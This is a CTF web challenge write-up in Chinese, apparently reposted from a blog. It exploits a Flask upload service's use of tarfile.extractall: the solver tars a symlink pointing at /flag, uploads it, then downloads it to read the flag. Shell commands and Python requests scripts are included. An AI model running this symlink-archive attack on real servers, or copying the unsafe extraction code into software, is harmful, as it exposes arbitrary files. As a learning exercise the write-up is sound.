【Python】tarfile目录遍历漏洞——从一道web题入手

题目来源:NSSCTF Round#6 Team- web1

打开题目,发现没有前端页面,直接是后端代码

根目录源码:

# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])

def allowed_file(filename):
    return '.' in filename and \
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
def index():
    with open(__file__, 'r') as f:
        return f.read()

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return '?'
    file = request.files['file']
    if file.filename == '':
        return '?'
    print(file.filename)
    if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a tarfile'
    try:
        tar = tarfile.open(file_save_path, "r")
        tar.extractall(app.config['UPLOAD_FOLDER'])
    except Exception as e:
        return str(e)
    os.remove(file_save_path)
    return 'success'

@app.route('/download', methods=['POST'])
def download_file():
    filename = request.form.get('filename')
    if filename is None or filename == '':
        return '?'
    
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    
    if '..' in filename or '/' in filename:
        return '?'
    
    if not os.path.exists(filepath) or not os.path.isfile(filepath):
        return '?'
    
    with open(filepath, 'r') as f:
        return f.read()
    
@app.route('/clean', methods=['POST'])
def clean_file():
    os.system('/tmp/clean.sh')
    return 'success'

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=80)

如上,可见是flask框架,拿到题目之后去入门了一下 flask ,以为漏洞是 flask 框架的漏洞,发现只能找到 ssti 类的题目

后来没招了,在xux师傅(神)的帮助下,最终解出这道题目,思路如下。

  1. 如上的代码中过滤了挺多东西,正常情况下我们无法进行目录遍历
  2. 但这题最大的漏洞点就是 tarfile.extractall(path) 这个函数
  3. extractall 函数能将一个 tar 文件进行解压(会去掉.tar的文件后缀),并将文件保存至 path 路径下
  4. 这道题的思路就是利用 upload_file() 上传一个 软连接文件 至服务器,其中这个 软连接文件 指向的就是 flag 文件,然后用 download_file() 方法读取 软连接文件 ,达到读取 flag 的目的
  5. 当然,软连接文件需要进行 tar 压缩,再用 extractall 解包即可完成 flag 的读取。
  6. 有了思路了,接下去我们开始实操

首先我们需要有软连接文件

在linux虚拟机下执行如下命令

ln -s /flag flag # 创建软连接文件 flag 指向 /flag 文件(经试验,flag文件就是这个)
tar -cvf flag.tar flag # 再将 flag 软连接文件 压缩成 flag.tar ,于是这个 flag.tar 就可以拿来上传了

下面是我写的三块代码,分别对应 upload、download、clean 路由

# upload
import requests

url = 'http://ip:port/upload'
filepath = 'flag.tar' # flag.tar 放在同一目录下

# file的数据
file = {
    
    'file': open(file=filepath, mode='rb')}

s = requests.session()
recv_content = s.post(url=url, files=file)

print(recv_content.text)
# download
import requests

url = 'http://ip:port/download'
data = {
    
    'filename': 'flag'} # extractall 解压缩后会去掉.tar后缀

s = requests.session()
recv = s.post(url=url, data=data)

print(recv.text)
# clean
import requests
# 清空
clean_url = 'http://ip:port/clean'
s1 = requests.post(clean_url)
print(s1.text)

分别运行 upload 和 download 即可出flag

flask入门参考网址:

https://blog.csdn.net/weixin_46003347/article/details/122938176

tarfile文档参考:

https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall

https://www.osgeo.cn/cpython/library/tarfile.html#tarfile-objects

tarfile漏洞题

网址:(有代码复现,有时间复现一下)

https://blog.bi0s.in/2020/06/07/Web/Defenit20-TarAnalyzer/

漏洞复现:

https://www.cnhackhy.com/265.htm

猜你喜欢

转载自blog.csdn.net/BrosyveryOK/article/details/127355430